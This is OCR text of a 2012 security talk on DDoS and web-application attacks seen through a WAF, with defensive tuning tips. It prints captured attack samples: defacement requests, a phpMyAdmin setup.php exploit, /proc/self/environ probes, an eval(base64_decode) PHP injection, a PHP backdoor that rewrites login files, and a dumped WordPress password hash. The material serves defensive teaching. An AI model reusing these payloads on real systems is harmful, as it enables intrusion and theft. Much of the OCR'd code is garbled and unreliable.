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Some definitions:

Blended Attack: Buzz word du jour. Like a Margarita. Lots of
Ingredients but a single mixologist.

But what is the tequila and what is just the lime...?

3D0oS/DDDoS: “Diverse Distributed Denial of Service”.
A denial of service attack targeting multiple stack components
simultaneously:

« L3/L4: Syn Floods, UDP Floods, ICMP Floods

 DNS Floods

« SSL Floods

« L7 webserver attacks (L6.97?) (Slowloris, HTTP Slow Post)

« L7 app stack attacks (Post of Doom)

e L7 targeted attacks (??? What is broken in *your* app?)
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We are here because Attack
IS easler than Defense.

HI, THIS 1S OH, DEAR = DID HE | DID YOU REALLY WELL WE'VE LOST THIS
YOUR SON'G SCHOOL. | BREAK SOMETHING? | NAME YOUR SON YEARS STUDENT RECORDS.
WE'RE HAVING SOME " / Robert'); DROP I HOPE YOURE HAPPY.

IN A WAY

COMPUTER TROUBLE. TABLE Students; -~ 7 \,l

AND I HOPE
~OH.YES LITTLE - YOUVE LEARNED
BOBBY TABLES, ¢ TOSANMIZE YOUR
WE CALL HIM. DATABASE INPUTS.

And Cheaper... And Cooler?
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3DoS Case Study:
International Financial Organization

« Attacked by politically motivated state-sponsored actor.
« Two-pronged attack: L4 connection flooding and encrypted
L7 DDoS attack with randomized payloads.

Vectors for possible DoS:

a. UDP Flood to take out network devices.
b. SSL Flood to overwhelm systems.

c. L7 Attack to consume Server cycles.

« Defenses in place included dynamic IPS, various network
devices, network firewall and BIGIP with ASM.
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3DoS Case Study:
International Financial Organization

« Defenses in place included dynamic IPS, various network
devices, network firewall and 5 BIGIP with ASM (WAF).

« Seguence of events:

a. L4 DoS (UDP Flood) knocks out an intermediary network
device. Site down.

b. Once device is replaced with more capable system the rest
of the attack becomes clear.

c. IPS able to be tuned to assist with L4 but blind to L7 attack
(SSL, Random payload)

d. SSL Flood handled by high speed co-processing capacity

e. ASM dynamically detects L7 attack and dynamically
mitigates.

Current status. Still under attack. BIGIP with ASM mitigating
the sustained attack with ~25% CPU utilization.
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From Spain:




POST /_wti_bin/_vrti_aut/Sauthor.dll HTTP/1.1
MIME-Version: 1.0
User-Agent: core-project/1.0

method=put+document®3ad*2eli2e2%2ed7158&service
%5Tname=&document=%5bdocument®5fname¥%3diisstart. asp%3bmeta
%oTinfoX3d%sSb%sd%sd&put®hstoption=overwrited&comment=&keep
%5t checked®5Tout=false
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<htm | >

<head=

<titlexHacked Your System LinuxPloit_Crew</title>
[<meta http-equiv="Content-Type" content="text/html;
charset=150-8859-1">

{fhead}

{hndy bgcolor="#000000" text="#000000">
l=div align="center"><font color="#FF0000"> <font

#5129—”5“}Hacked Your System Linuxploit_Crew

“{Hfﬂﬂt} </font=</div>

‘<p align="center"><img

src="http://Tc05. deviantart. net,/fs10,/1,/2006,/099/a,/6,/Judgemen
T_Day_by_Ironshod. jpg ></p=

<p=&nbsp; </p>

< /bod
{fhtm¥§
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Violations Full Reguest

PUT findonesia.htm HTTRM .1

Accept =P

User—.&gent:_r_umzille_uM.EI (compatible; MSIE 7.00 Windows MT 5.1; Trident'4.0; InfoPath.2)

Host:

Content-Length; 2244
Connection: Keep-alive
Cache-Control: no-cache

¥-Forwarded-For: 118.86.133.138

=title=..[+] Defaced by Hmei7 [+].. =fitle=
=pody onload="type_text()" alink="#000000" bgcolor="#000000" vliink="#000000" link="#c0c0c0" text="#000000"=

=div align="center"=

4

Fequested URL

Web Application
Support D

Source |IP Address
Destination IP Address
Country

Time

Flags

Severity

Fesponse Status Code

Fotential Attacks

Close

(HTTR] findonesia.htm
class_|IS
11110003049450444 361
118.96.133.139:2742
192.168.59.2:80
Indonesia

2011-04-24 17:05:23
x4

Critical

MIA

Cross Site Scripting (X33), Detection Evasion, Information Leakage, SCL-Injection, XPath Injection
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Violations Full Reguest

PUT findonesia.htm HTTRM .1

Arrant ¥

Violations - Full Request

Lyl dIrrer. |

) 1'|'I'[II_I have been Hacked !l not because of your stupidity”,
“That's because we love you, and we want to warn you®,
" That your web still has large of vulnerability”,

“Dear admin,”,
“This was not a joke or dream, this is fucking reality”,

- atlast "
"Tidak ada seorangpun, hewan atau banci yang disakiti dalam hacking ini ;)"

"Thanks:",
4

Hesponse status Code MiA

Fotential Attacks Cross Site Scripting (X33), Detection Evasion, Information Leakage, SCL-Injection, XPath Injection

Close
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Violations Full Request

PUT A i9605%Afopenfiindonesia.htm HTTFM A
Accept **

Lser-Agent: Mozilla/d. 0 (compatible; MSIE 7.0, Windows NT 5.1; Trident/4.0; InfaPath.2)

Host:

Content-Length: 3108

Connection: Keep-alive

Cache-Control: no-cache

¥-Forwarded-For: 118.96.1:

=title=Hacked by Hmei7=fitle=
=pody bgcolor=black onload=""+

=div align=center=
~2 OO -
4

Requested LIEL

Web Application
Support 1D

Source IP Address
Destination I[P Address
Country

Time

Flags

Severity

Response Status Code

FPotential Attacks

|Cluse

2258730722670021113
118.96.13
192.168.59.2:80
Indonesia

2011

x4

Critical

MIA

Cross Site Scripting (X35), Detection Evasion, Information Leakage, SQL-Injection
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Violations Full Request

PUT A i9605%Afopenfiindonesia.htm HTTFM A
Accept **

Lser-Agent: Mozilla/d. 0 (compatible; MSIE 7.0, Windows NT 5.1; Trident/4.0; InfaPath.2)

Host:

Content-Length: 3108

Connection: Keep-alive

Cache-Control: no-cache

¥-Forwarded-For: 118.96.1:

=title=Hacked by Hmei7=fitle=

cedredm|atlyahoo.com

Web Application
Support 1D

Source IP Address
Destination I[P Address
Country

Time

Flags

Severity

Response Status Code

FPotential Attacks

|Cluse

2258730722670021113
118.96.13
192.168.59.2:80
Indonesia

2011

x4

Critical

MIA

Cross Site Scripting (X35), Detection Evasion, Information Leakage, SQL-Injection
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Non-Compliant




e

@ View Full Request Information - BIG-IP& Application Security Manager - Dialog Window - 10.0.3.245 - Mozilla Firefox

ERUEERLE https:/10.0.3.245/rm

Violations Full liedu‘es‘t‘ .

GET iw00tw00t.at. blackhats.romanian.anti-sec:) HTTP/1.0
Accept: */*

Accept-Language: en-us

User-Agent: ZmEu

Host 210. 1 N

X-Cnection: Close

X-Forwarded-For: 200.1.192.31

Connection: Keep-Alive

HTTP] IwD0tw0Ot. at. blackhats.romanian.anti-sec g

Requested URL )

Web Application

Support ID 17099226225215352420
Source |IP Address 200.1.192.31:36554

Destination IP Address 192.168.59.2:80
Country Colombia

Time 2011-04-27 06:09:41
Flags gy

Severity Error

Response Status Code NIA

Potential Aftacks N/A
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Violations

Accept: */*
Accept-Language: en-us
User-Agent: ZmEu

Host 210. 1 N

X-Cnection: Close

05l

Suppoert ID

Source |IP Address
Destination IP Address
Country

Time

Flags

Severity

Response Status Code

Potential Attacks

£ Done

[
\

FullRequest

GET iw00tw00t.at. blackhats.romanian.anti-sec:) HTTP/1.0

210

.17&9225225215352420 .

200.1.192.31:36554
192.168.59.2:80
Colombia
2011-04-27 06:09:41
X8

Error

N/A

N/A
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POST /phpmyadmin/scripts,/setup. php HTTP/1.1
X-Cnection: close

Host: 210.
Referer: 210.
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera

7.01 [en]

content-Type: app

CGHtFﬂt Length: 2
(-Forwarded-For :

cation/X-www-form-urlencoded

_|
l
-
-
i

y
2
2.10.168. 50

a:t1nﬂ 133 ﬂaf1gat1ﬂﬂ&P01t3pF UH1:ﬁtﬂkwﬂ—&rﬂﬂf1QUFat1ﬂﬂ—a 3A1%

3A1 0% 22 PMA% JFCGﬂf1g a3 57 ~h‘. %63, LL:nur::. %3Bs
2F%2F 1:ka33c| 232 P2 F %2 A% 2F ]
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burp suite free edition v1.4 J

purp intruder repeater window about

(target | proxy | spider [ scanner [ intruder | repeater | sequencer | decoder | comparer | options | alers

decode as ..

smart decode

Ffipiipickasso240790@66.197.252 .1 @ tet OO hex

decode :

encode as ..
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i

burp suite v13

burp intruder repeater window help

( target "f ‘proxy [ spider [ scanne ntruder | repeater \ “sequencer | decoder j'comparer opfions ﬁﬁralerts \

{decode as ... 7
‘ encode as ... 7

lhash

‘ smart decode

a:1:{i:0;,0:10:"PMA_Config™1:{s:6:"source”;s:50:"ftp://imeteogovua:metecgovua!@meteo.gov.uaffile.bd™}} ® text

‘ decode as ... |

[encode as:z ||
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Another (tiny) probe:




U View Full Request Information - BIG-IP® Application Security Manager - Dialog Window - 10.0.3.245 - Mozilla Firefox

ERGEERLS https://110.0.3.245/

/A.

Violations | Full Request

GETHTTPM.A

Requested URL

Web Application
Support 1D

Source IP Address
Destination IP Address
Country

Time

Flags

Severity

Response Status Code

Potential Attacks

(Close|

£ Done

17099226225215352430
200.1.192.31:36805
192.168.59.2:80
Colombia

2011-04-27 06:09:44
X8

Error

N/A

HTTP Parser Attack, Non-
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SREEEELE htips: 1003245/ /ol

/A—A %

Violations | Full Request

GETHTTPM.A

-
HTTE Validation

«® Mo Host header in HTTP/M.1 request

Severity
Response Status Code

Potential Attacks HTTP Parser Attack, Non-browser Client

(Close|

£ Done
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Violations Full Request

YWiolation Severity

&9 HTTP protocol compliance failed | Error

Requested URL [H'ITF"] fw00tw0 0t at. blackhats romanian.anti-sec o

Web Application
Support 1D

Source [P Address
Destination P Address
Country

Time

Flags

Severity

Response Status Code

Potential Attacks

Close

)

17099226225215352420
200.1.192.31:36554
182.168.50.2:20
Colombia

2011-04-27 06:09:41
X

Error

A

MIA
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04:42:45 Canada 72.10.168.50 [HTTPS] /admin/scripts/setup.php
04:42:45 Canada 72.10.168.50 [HTTPS] /mysql/scripts/setup.php
04:42:45 Canada 72.10.168.50 [HTTPS] /pmal/scripts/setup.php
04:42:44 Canada 72.10.168.50 [HTTPS] /db/scripts/setup.php
04:42:44 Canada 72.10.168.50 [HTTPS] /scripts/setup.php
04:42:44 Canada 72.10.168.50 [HTTPS] /sql/scripts/setup.php
04:42:44 Canada 72.10.168.50 [HTTPS] /web/scripts/setup.php
04:42:44 Canada 72.10.168.50 [HTTPS]/myadmin/scripts/setup.php

...etc




jaction
JEL
A4




Probing for code
Injection vulnerabillities:

Country France
Context Details for Attack Signature 200000190

Context FParameter
Parameter Level Global
Wildcard Parameter Name *

Actual Parameter Mame _a

T view. d LA d A A1
=aTHEE Ve I Iproc/selffenviron|os:o]

Detected Keywords _EIZ'-;'IE!'I.I'I.-...l...l...l...l...l...l...l...l...l...l. o

141 iprodis elffenviron|oxo|

Checking for access to /proc/self/environ
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PHP Injection attempt:

Actual Parameter Mame products_image
=?ph p
@error_reporting(0);
'5 GET[lo

Parameter Value

_decode(pZHNa vMEITur'ltlhEl‘l’t]'f.
95EI4BIIUCyWhImhDy 713,
deetM F'j'-IL.|E|+LI.-'.|I ;

NV rtHuutnh:.- IMjPw21sniy
' :.':ttmr JDdH VvSACqQCI3bmY 3y ¢

php.:lerrur rEpurtinql"l:l' 4
t ,!ftltll @

Detected Keywords
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$
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)
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ing

&ttt At At At Y At At At At Y Y T T T o Bt Y R ) T T - ey
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o U LR T T T T T S s N e L B i e el e]
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Enabling Authentication on the
Server:

Eva1{baaeﬁd_decndei
"LyoqkiogkiogqkiogkiogkiogkiogkiogkiogkiogkiogkiogkiogkiogkiogIENPTKZ JR1IVSQVR]
TD#gH1ﬂqH1an1nqﬁ1nqﬁ1nqﬁ1ﬂqﬁ1nqﬁ1an1uqﬁ1nqﬁ1nqﬁ1nqﬁ1nqﬁ1uqH1ENC1RE?WSﬂdWFﬂ
ZTOnaxRh1zsNCiRhdXROIDOGMDSNC i RUYWL 1PSdTY2ZM3MTCOOGR JMIRAN] I0Y JM1YTRMOGY20DVk
ZDEyM1 C7DQOKCGFZCZONZWMZNZE 3NDhkYZ I1kYyTYyNGIZNWEOZ jhmN j glZGoxM ] INOwlKL yoqKioq
KiogkioqkKiogkiogkiogkiogkiogkiogkiogkiogkiogqkioqIEVORCEPRIBEDTOSGSUdVUKFUSUSO
ICogkioqKioqkiogkiogkiogkiogkiogkiogkiogkiogkiogkiogki BNCgOKawygKCFmdw5jdalv
b19TeG]zdHMoImd1dGlpy3IvdG1tZ5IpKSET DQOIZNVUY3Rpb24gZ 2v0bw1 jecm9Dawl 1KCkgewOK
CQlsaxNOKCRLC2V] LCAEEEV KSASIGVACGXVZGUOITATLCETawNyb3RpbWUOKSK7 DQo1CX] de¥
b1AGHGESbEFDHSRIEEVJICSgHGESbEFGHSREEWM GWGHCHDNCHDNCquszuESgicERhcnRﬂan
I1XNZXRTawNyb3IRpbwUoKSk7 DQoNCmVyCemOy 31 1 caOydGTuZygwk TsNCANTdF 9T Yywdpyl 9xdwa0
ZXNFocnvudGltZ5gwkTsNCkBEzZXRTAG1TZvos awl pdCgwkKTsNCkBpbm1 T c2vOokCdtyxhfzxhly3vo
AWIUX IRpbwUNLDApOWOKQGTUaVIZzZXQo1291dHELdF 91 dwZmZ X1 pbmcnL DApOwIK IHNhZ mvT bwak
ZSA9TEBpbm1FZ2VOKCdzZYWZ 1 X21vZGUNKTSNCiR2ZX1ZawduID0gI zMnowlkKawyodmvyc21vb19]
b21lwyXJ TKHBOCHZ 1cnNpb24oKSwglzQuMsdwlykgPTOQLTEpDQogewOKICRTUESTVCAQIDOQIiRI
VFROX1EBPULRFVKFSUZSNCT AkX0dFVCAQICASICYKSFRUUFOHRVRTVKFSUZSNCiAkXINFUTZFUiAD
IC?RSFRUUFQTRVJWRVJ'FW{FSLIEENC'IA XONPTOT] RSAQIC‘ERSFRUUFQDTDQLSUF‘FVRFSUEENC'I B9

$?$¥ﬂ"§#§ﬂf? ?g%f$#§ﬂ }#Iﬁmﬁ?f“’n ¥ Tr7vemybhv ) nare pF

$I5IS S aARER. SIS AEE" ###$$$$$$$$$$
$339 SI#RARER, §54R

$339

$533%

LN o5 o o
R i i i

'H‘!-'!:Frl.l'l hﬁhﬁhﬁhﬁhﬁ%

$%
$%
$%
$%
$%
$%
$%
$%
3

$

$3
$3
$3
$3
$3
5
#

2ot ot ot e | hFH.-Fr *.-Fr
S5 A=
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Enabling Authentication on the

Server:

if(fauth = 1) {

if (lisset($_SERV

ER["PHP_AUTH_USER"]) || md5{$_SERVER[ PHP_AUTH_USER'])!==
tname || md5($_SERVER[ PHP_AUTH_PW'])!==%pass)

header { "www-Authenticate: Basic realm="d35md"");
head

er ("HTTP,/1.0 401 unauthorized’);
exit{ <b><a href=Rox

Team=d35ml=/a> : Access Denied</b>");
¥

¥

$$$3533339
$$33533339
"$%5. 38

L e Y e il i R
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Enabling Authentication on the

Server:

(=) burp suite v1.3.03 o[ e S

burp intruder repeater window help !
_i.I: target | proxy spider intruder | repeater sequencer | decoder | comparer | options alerts
if] -
LyogKiogkiogKiogkiogKiogKiogkiogKiogKiogkiogKiogKiogkiogkioglEMPTEZ IR 1VEQVEL] & text hex
ER TodgKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKigMNCiRsYWandWFn E
$|-| ZT0naXRhJzsMNCiRhdXRolDOgMDsNCIRUYWIPSdIYZMIMTcO0DGRJMmRERMJIOY MY TRmMOGY20DVE
ZDEyMicyDQokeGFzczinZWMzMNzE3ANDhEYZIRY TYyMGIZMWEDZjhmMjg 1 Z2G0xMjinCwikLyogKiog decodeas . | w
KiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKiogKioglEVORCBPRIBOTOSGSUGVUEFUSLISO
[CogKiogKiogKiogKiogKiogkiogkiogKiogKiogKiogKiogKiogkiBNC glKaWY gk CEFmdWajdGlv encode as .. |w
bl8leGlzdHMolmdldG1pY 3 vd G SIpKEBT D0oJZnVuY 3R pb24 g2 2V 0 DWWl jcmB0aW 1 IKCkgewl K
h = CQlzaXMOKCRc2ViLCARCZVKSAAGY4cGvZ GLInliAILCBtaWNyb 2R p WU ok SET DQuoJ CXIdHYyY hash ... h
biAOK G sb2FOKSR1c2VICs g GZ s bZFOKSRzZWMpOwlKCXOMNCnONCmRIZmIuZSgic3RhcnROaW 1|
lixnZ¥RiaWnyb3RpbWU oK S KT DCQoMNCmYycm Oy 3 cGaydGluZygwk T s N CnMIdF Ot WdpY 1 QxdiW a0
ar FXMfcnVudGHRZSgwKkTaMNCEBzZXRfAGHZYIs aW pdCogwKTsNCEBpbmIfc2VOK.C afy XhfZxXhIvY3v0 smart decode
aWauX AR pbWUNLDApOwiIKQGIuaV9zZ X0 l291dHB 1dF 9idWEZmZxX JpbmonLDAp OwiE JHMNhZmW oWk -
Te - -
var Feof_ctrl_dir = "5 04 b0 5w 6 w000 000y R nex
} oo~
var fold_offset =10, decodeas . |w
. function unix2DosTi
meldunixtime =0) { encodeas ... | v
Bimearray = (funixtime ==
) 7 getdate() getdate[$uni1time};| hash ... - I
if (Btimearr
ay[year] = 1880} {
Btimearray[year] = = smart decode
IDE -
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Enabling Authentication on the

Server:

(=) burp suite v1.3.03 o[ e S

burp intruder repeater window help

_i.I: target | proxy spider intruder | repeater sequencer | decoder | comparer | options alerts

if

LyogKiogKiogKiogKiogKiogkiogkiogKiogKiogKiogKiogKiogkiogKioglEMPTEZIR TVSQVRED - & text hex
ER TD4_gl{:iUqKquKiclqKiclqHiDql{:iUqKinqFinﬂlﬂ"inr|lﬂ"innlﬂ"innl.finﬂlfinﬂl.ﬂ"innlﬂ"iDhll’"iDﬁ\.ﬂl’ll’i:nH'll'll'En E
$|-| ZT0naXRhJzsMCiRhdXRolD0gMDs M ’A thentication R rad I_ag—l‘
ZDEyMic7DQokcGFzez0nZWhzNzE3N | AUthentication Require decodeas .. |w
KiogKiogKiogKiogKiogKiogkiogKiogk
ICogKiogKiogKiogKiogKiogKiogKiogk @ Enter username and password for http://10.0.20.2 encodeas .. |w
bl8leGlzdHMolmdldG 1 pY 3 vdGHZS I pk
h = CQlsaXMIKCR1c2VLCARCZVIKSADIC hash ... -

biAoKGZsb2FOKSR1c2VilCs gKGZsb: User Name: |
liXnZXRtaWNyb3RpbWUoKSK7DQoNI Basii
Al |ZfenvudGHZSgwKTsNCkBZZXRIAG SO smart decode

aWauXIRpoWUNLDApOwWIKQIGIuaVE -
| OK | ‘ Cancel
Te - ~ -
var $eaf_ctrl_dir = "5 04 bx05w06" R nex
} 00~
var fold_offset =10, decodeas . |w
. function unix2DosTi
meldunixtime =0) { encodeas ... | v
Bimearray = (funixtime ==
) 7 getdate() getdate[$uni1time};| hash ... - I
if (Btimearr
ay[year] = 1880} {
Btimearray[year] = [=] smart decode
IDE -
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Yiolations Full Request

v 7Y
—XYZLY

Cuontent-Di:

Requested URL

Web Application
Support ID

Source |P Address
Destination IP Address
Country

Time

Flags

Severity

Response Status Code

Potential Altacks

Switzerland

>0

Error

P&

5ZT5TaGFkb3cgd2FzIERlcmUBL3RpdGxIPxib2REPIITDOpzZXRIidGIZY
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Decoded a couple of times

burp suite v1.3

purp intruder re

"intruder | repeater equencer | decoder | comparer | options

[HOZXNOYX
Wu dH._I p.
WNZGFIBGUgEHY

g CmZ1bmMNOaWaulHJIYWRE
-2\ ahFULhﬁ”DUG igkcGFOaCK) ICiAQICAgQICAQdZ2hpbGUgKGZnhbH
JGZpbGUgPS G L DGUpKSkgewlKICAg glCAQgIC : i _IGZpbuUu)w[lKl Ag
Aull,hqll,nqlI,Elpf_mcukl, MaWlTOnLicplGFUZCA0JGZpbGUNPS

NI0ZSAIICgkSFRUUFIQT 1N
1ZBUINDJ3BhC3
dGUpOwOKIQOKZnVu
9maWwxlID0g Zm Clw.«_ .'\" :

5 Here=fi

_un:arﬁe php_u
em_pwd =g

B e
'prd admin = ereg_re
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$pwd_admin = ereg_replace('/images','/admin’, $system_pwd);
if (chdir($pwd_admin)) {
if (is_writable($pwd_admin)) {
if (is_writable('categories.php’)) {
unlink('categories.php’);
$new categories ="<?php
header(location:'nttp://www.google.com'); ?>";
$patch_categories = fopen('categories.php’,'w");
$write_categories = fwrite('categories.php’,"$new_categories");
$response_categories= "[-] Categories Patched";
}
else { $response_categories = "[-] Unable to patch Categories"; }
if (is_writable('login.php’)) {
$backdoor_login = "<?php eval(base64 decode('if
HTTP_POST_VARS['username']) { =




Attack Summary

Works with any directory structure — targeted for PHP
specifically, but can work on any vulnerable app
Uses a variety of methods to
backdoor the server,
Add passwords,
enumerate users
Potentially difficult to spot in logs
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SQL Injection:
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Attack signature detected violation details
Signature Mame Signature ID

SCL-IMJ expressions like (1) ™ and 1 — 200002425
SCL-IMJ "SELECT FROM™ (Headers) 200000081
SCL-IMJ expressions like "or 1=1" (3) (H...ders) 200002171
SOL-IMNJ "SELECT FROM™ (Farameter) 200000082
SCL-IMJ expressions like "or 1=1" (3) 200002147

=)
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And while all this other stuff was
going on....
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Attacks overview

Network flood attacks:
High PPS attacks: extremely high SYN flood and UDP flood
attack rates hit victim sites = bottlenecks
Oversized ICMP and UDP frames intended to consume
bandwidth
Fragmented and corrupted UDP frames intended to consume
more resources on application delivery equipment;
Connection flood attacks: targeting the server TCP stack
resources;
Application flood attacks:
HTTP page request floods targeting crafted URLS;
HTTP data floods;
Crafted Layer7 TCP attacks such as SlowLoris, slow POST
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The Attack:




The Attack

Initial peak at 1.5million HTTP requests per second

Volumes then rose to around 4m RPS during “official”
attack period

Anonymous announced that the attack had ended

Attack then rose to 15 million RPS! Anonymous were
not directly controlling the attack

Several major spikes when large botnets and university
labs joined the attack

Peak measured at 350 x normal production load!
=> 35,000% Iincrease
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Slowloris HTTP DoS

CCCCECCECEOOCE Q0000355 MG § S 00000 L0005 555555 § AUANERNAAGS G MEARG G § 00 ooocce : @ 1 :
CCCCECCECECCEE 0G5 Q566445 000CCE Q000G 43563406633 RG 6355 00QRA0ARF5EAF00C oo ace: ¢ :
CCCCECCECECCEC 005G EAGEEE§ 500000000005 5555550555545 5 505050005 5 §§QAG S QRS QOC Q00 oc ;- ;
CCCCoooooal CEOF S A0E A5 5 MG 500000005 § 5555555 550000000000 CCCCO0005 5§ RG5550000C ;@ ¢ ;
ool olooal CLOE A4 QG 3856 8400034563456 840563456 0000C 0L cuoaooooa LEOD0G 456344 o0 oor ;
ooooool ol EL G GGG E A G005 S S5 asG5 0505583 00CCConoorccccc COONDGEAG5500occe
ool CO0G 0G5 G 5GGGE RGO 005 S 5550055505555 00005555500 ocoococ: : coool OOGDE G555 5 Cooa
ol CCCCCOGO0OC L 00E 6 RE§ 0000005 § 55066500000 005 654060000 coloce: ¢ col OO0 SEGEE 00T
ol CCECO00GE 0L ool 05§ MG 00000055 055656 SQOCCED ol OO0F§§E 00000000 o ¢ ¢ ¢ @ ool OO00EEE 065 0L
ol CCCOOGE0OCECC 005 ARG 0000000656666 Dooccccc ol OF 0G O0EE Q00000 e . ; cocool BOO00GEEEE 0
rcocoolEECOOooEE0

roooool CEOQQ0oo000

cO0E 06, . . col00EEE 0000 sea e £ ol OOOOOC Q000

OO00OFGERGREGEEESE660a: . . ... cO&EE0C. . :ol000000000EE aocoal ol of OOQOO000
COO0G3GRGSGEG5E66580a: . COEFESE0: . ...cCCC0d0oooooocccooooooool CEO0

CECCOOGSESEG066665600. ofda. cO&d00: . .:..ceollfoalaoccaoceceooonal CEE
.iccloooooccooooccoocooool DD

..icoolosoccccee: @ iceoalaoal
1 £ odoncnnial
D Cooanon

IICCEC:CaoD
cc::::col
‘CICECE®D

D iECadCE

Welcome to Slowloris - the low bandwidth, yet greedy and poisonous
HTTP client!

Fobert E Lee,
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How does Slowloris
WOrk?

Opens connections to web server (very little bandwidth
required)
Begins to send request...
...One header at a time...
...Very Slowly...
...Never ends...

Server holds connection open indefinitely, and runs out
of available connection pool.

Result — server is unavailable. No error logs during
attack.
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Reason attack was
mitigated.:

F5 TMOS Hardened Reverse proxy handles
Incoming requests.

Unfinished request from Slowloris exceeds
limits on HT TP profile and is dropped.
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HTTP Slow POST

Similar concept to SlowLoris, but POST with large
payload is uploaded extremely slowly.
Large number of concurrent connections consume




TCP (Reverse) Proxy

Connections are terminated on a TCP proxy stack.
Tuned for application performance — requires
advanced options negotiated during 3-way
handshake.

Optimized delivery per Optimized delivery per
WAN conditions and LAN conditions and
client type _ application type

0107010101010

6707G1070101¢181016010

wireless /
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SYN Cookie

During SYN flood attack:

@ 1 SYN b

SYN/,"(K Server rephies with Inilial
" Sexqquence Number tor TCP
Client increments Sequence - 5 delvery checking
Number by packet size and
fesprnds '\(K ~— Server checks incremented
— 1SN matches algorithm, then

y o)
creates entry in TOP stale

-

tabie
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During SYN Flood
attack:

SYN Cookies work very well, but...

Advanced TCP Options are not possible when SYN
Cookies activated.

This is why it is iIdeal to have a threshold for activation

This is where a TCP acceleration proxy may have
advantages over server operating systems eg BSD,
Solaris, Windows
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Stack tuning tips:

Lower the default TCP connection timeouts in the TCP
profile.

Lower the Reaper percents from low 85 / high 95 to low
/5 / high 90. This means fewer connections held
open, but means the proxy will be more aggressive
cleaning out idle connections during a TCP connection
flood.
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HTTP Profile tuning tips:

Analyze the typical and maximum HTTP header size,
Including cookies, that should legitimately be seen.
The default maximum on LTM is 32k. This should be
lowered if your average is 4k and max possible is 8k.
In this example, setting the max header size to 16
should adequately ensure no false positives (resulting
In rejected connections), while helping to ensure a
number of HTTP header based DoS attacks are better
handled.
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Layer 7 DoS/DDos
mitigation

oS Configuration oS C onfigur ation
Operation Mode Off Cgieraol e
EIE'tEll:t“:l mn r|||1 o dE‘ ::.;-:: TFl E:_ |::| a E;E”j |:| L-.:-ItE'r'l |::'!|l' E'E'tE'l:tll:l n r|.|1 ] le'
_ o . atency inc ed by 500
[l source IP Client Side Intec| o :
i jF! |r|tF!|'1 rit'"' D SUspiciods riteria ) Ache 10000
ed Rate Limiting
LIRL-Based Rate Lirniting [ source IP-B :
URL-Bas i o Integrity
2 date Limiting
URL-Based Rate Limiting

Freventian Paolicy ] ’

Minimum Latency Threshold for detection [200

TPS increased by |00 % Prevention Policy
LIRL Detection Criteria 'L

TPS reached 1000 transact

o~ ~ TFPS increased by (500 o
Prevention Duration ® Unlimited © Maxirmurm URL Detection Criteria increased

TPS reached 1000 transactions per second
IP Addre FPrevention Duration @& Unlimited C ®¥imum
Subnet Mask )

IP Add

Subnet Mask | Add |

IP Address Whitelist
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Some Broader




Where From?

Occurrences

D United States

|:| China
B Thailand

United Kingdom

|| Korea, Republic of
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How Many Attacks?

Occurrences

. HTTP Parser Attack

|:| Information Leakage

I:l Predictable Resource Location

. Wulnerability Scan
. Cross Site Scripting (XS5)
I saL-mjection
I:I Command Execution
sion

Path Traversal

LDAP Injection
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Reason for Blocking:

Occurrences

I:' HTTP protocol compliance failed

. Attack signature detected
Information leakage detected

I:I lllegal method

. llegal HTTP status in response

. Evasion technique detected

|:| Failed to convert character

I:I Cookie not RFC-compliant
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Humorous Interlude....
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Humorous Interlude....

D'l[: Ill‘iJ
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Humorous Interlude....




Humorous Interlude....

Presented to Central Plains ISSA on April 6, 2012



Now, a walk-through
of a complex Attack

HB Gary



—

) g@miag[a@[gmg: pages.php?pageNav=2&
Dage=2, ’

http://www.hi

Presented to Central Plains ISSA on April 6, 2012



Presented to Central Plains ISSA on April 6, 2012



Feading ftable information for completion of table and column names
You can turn off this feature to get a quicker startup with -A4
Welcome to the MyS0QL monitor., Commands end with
Your MySQL connection id is S3E39

Server version: 5.8,.77-log ZSource distribution

or Mg,

Type 'help;' or '“h' fTor help. Type 'Sc' to clear the buffer,

mysgl® select * from wp_users;

I R R I R R il e R L
| Il | user_login | user_pass | user_nicename
I R R I R R il e R L
| 1 | =admin | fobYwefdhwedthwetwest2fI3d5vabi2c | admin

Fomm et e e oo oo o e e e e e e e e e e e e e e e e e e e m e m e m - S

1 row in set [(B.00 sec)

mysgl=

R I I S R R R I R +---
| user_email | user_url | us
R I I S R R R I R +---
| staffdsomesite.org | http:/ssd | 20
g R LSS +---




Feading ftable information for completion of table and column names
You can turn off this feature to get a quicker startup with -

Welcome to the My50QL monitor., Commands end with : or g,

Your MySQL connection id is S3E39
Server version: 5.8,.77-log ZSource distribution

ThbiwetohwedtThwetweb2T39d5 760520

1 row in set [(B.00 sec)

mysgl=
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Aaron Barr - CEO
ed Vera - COO




Six lower case letters
Two numbers




PASSWORD ENTROPY 15 || SET UP AWEBSERVICE || BAM,YOU'VE GOTA
RARELY RELEVANT. THE| | TODO SOMETHING SMPLE, | | FEW MILLION EMAILS,
REAL MODERN DANGER | | LIKE IMAGE HOSTING OR | | DEFAULT USERNAMES,
IS PASSWORD REUSE. | | TWEET SYNDICATION, SO

3 HoW 50? A FEW MILLION PEORLE

TONS OF PECPLE. USE USE THE LIST AND SOME

Goo -“iﬁé‘w Pm% éfﬁgif buse”

AND THEN

WELL, THAT'S WHERE T CouLD PROBABLY NET A LOT OF MONEY,
T GOT SnCk. ONE WAY OR ANOTHER, IF I DID THINGS
\

YOU DIDTHIS? | | cagRLLY. BUT RESEARCH SHOWS MORE
WHY DID YOU 770K MoNEY DOESN'T MAKE PEDRLE HAPPIER,
ONCE THEY MAKE
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Password Reuse




- support.nbgary.com



c
The GNU C library dynamic linker expands $ORIGIN in setuid library search path
- w

Milagys Escalatiorn
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- The Result




Aarons Password

Mail Calendar Documents Sites more »

Search Mail | | Search the Web | = oo w1 020008

Manage this domain

Learn more Hide
3]

1-30f3

Click here to enable desktop notifications for» e@sese ceces

-—_ 0 " Archive Reportspam Delete Movetoy Labelsw More actions v =~ Refresh
7
Starred 3¢ Select: All, None, Read, Unread, Starred, Unstarred

Chats G2 I

Sent Mail Cron Daemon » Cron <root@vps-101> /root/bin/watchdog.pl - USER | Feb 22 "

Drafts _ .‘ apache-vps101 » Attention! Webserver restarted - Server was down and Feb 22

me, Mail (2) » testtor @ 200 ©° » > 7 ®0s o -Ti 4/9/09 |

| Select: All, None, Read, Unread, Starred, Unstarred

Archive Reportspam Delete Movetoy Labels w More actionsy = Refresh 1-30f3

Use free POP access to download your messages to Outlook or devices that support POP. Leam more

You are currentl i of your 25600 MB.
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Aarons Password

Mail Calendar Documents Sites more »

Show search options
